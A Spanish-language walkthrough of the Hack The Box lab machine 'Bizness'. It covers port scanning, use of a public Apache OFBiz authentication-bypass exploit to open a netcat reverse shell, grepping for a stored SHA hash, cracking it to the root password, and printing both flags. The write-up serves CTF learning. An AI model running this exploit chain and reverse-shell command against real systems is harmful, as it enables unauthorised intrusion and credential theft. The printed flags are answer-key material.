Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-08 05:40 EDT
Nmap scan report for bizness.htb (10.10.11.252)
Host is up (0.036s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp   open  ssl/http   nginx 1.18.0
| tls-nextprotoneg:
|_  http/1.1
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: organizationName=Internet Widgits Pty
Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: BizNess Incorporated
| tls-alpn:
|_  http/1.1
46287/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.47 seconds
```

Si entramos en el puerto `443` al igual que en el `80` aparecera una pagina...

gobuster o dirb

```
gobuster dir -u <IP>:<PORT> -w <WORDLIST>

dirb https://<IP>:<PORT>/ <WORDLIST>
```

Nos descubrira `/accounting/` y si nos metemos ahi nos metera en un panel de login...

Vemos que es vulnerable con un exploit de GitHub `Apache OFBiz` en la siguiente URL:

URL: https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass

En la pagina principal con esta herramienta detectamos que es vulnerable, por lo que si nos hacemos una Reverse Shell funcionara aprovechando este exploit...

Con esto verificamos que sea vulnerable...

```
python3 exploit.py --url https://<IP/DOMAIN>:<PORT>
```

Con esto hacemos la Reverse Shell...

```
python3 exploit.py --url https://<IP/DOMAIN>:<PORT> --cmd 'nc -c sh <IP> <PORT>'

nc -lvnp <PORT>
```

Vamos a la home de este usuario y leemos la primera flag:

> user.txt (flag1)

```
71f58d65f5f3d731e39c92bd7870e427
```

Escalada de privilegios

Si vamos a `/opt/ofbiz/` tendremos que investigar por ahí algun archivo llamado AdminLog... y observarlo con `cat`, viendo dentro de el archivo veremos que hay un formato de `hash`

Si ponemos el siguiente comando para buscar por el formato de cifrado en ese directorio donde se puede encontrar el `SHA`

```
grep -a -o -R '$SHA$'
```

Nos aparecerán los `.dat` que son interesantes, haciendo lo siguiente veremos todos ellos y la clave que queremos conseguir se encontrara a lo ultimo...

```
grep -a -R '$SHA$'
```

Encontramos este formato:

```
$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
```

Si lo crackeamos con un script de python en concreto de github:

URL: https://github.com/duck-sec/Apache-OFBiz-SHA1-Cracker

```
python3 OFBiz-crack.py --hash-string '$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I' --wordlist
<WORDLIST>
```

Info:

```
[+] Attempting to crack....
Found Password: monkeybizness
hash: $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
(Attempts: 1478438)
[!] Super, I bet you could log into something with that!
```

La password de root seria `monkeybizness`

Una vez dentro leemos la ultima flag siendo la de root...

> root.txt (flag2)

```
f85a0d868944b0bd87cd48124291be4f
```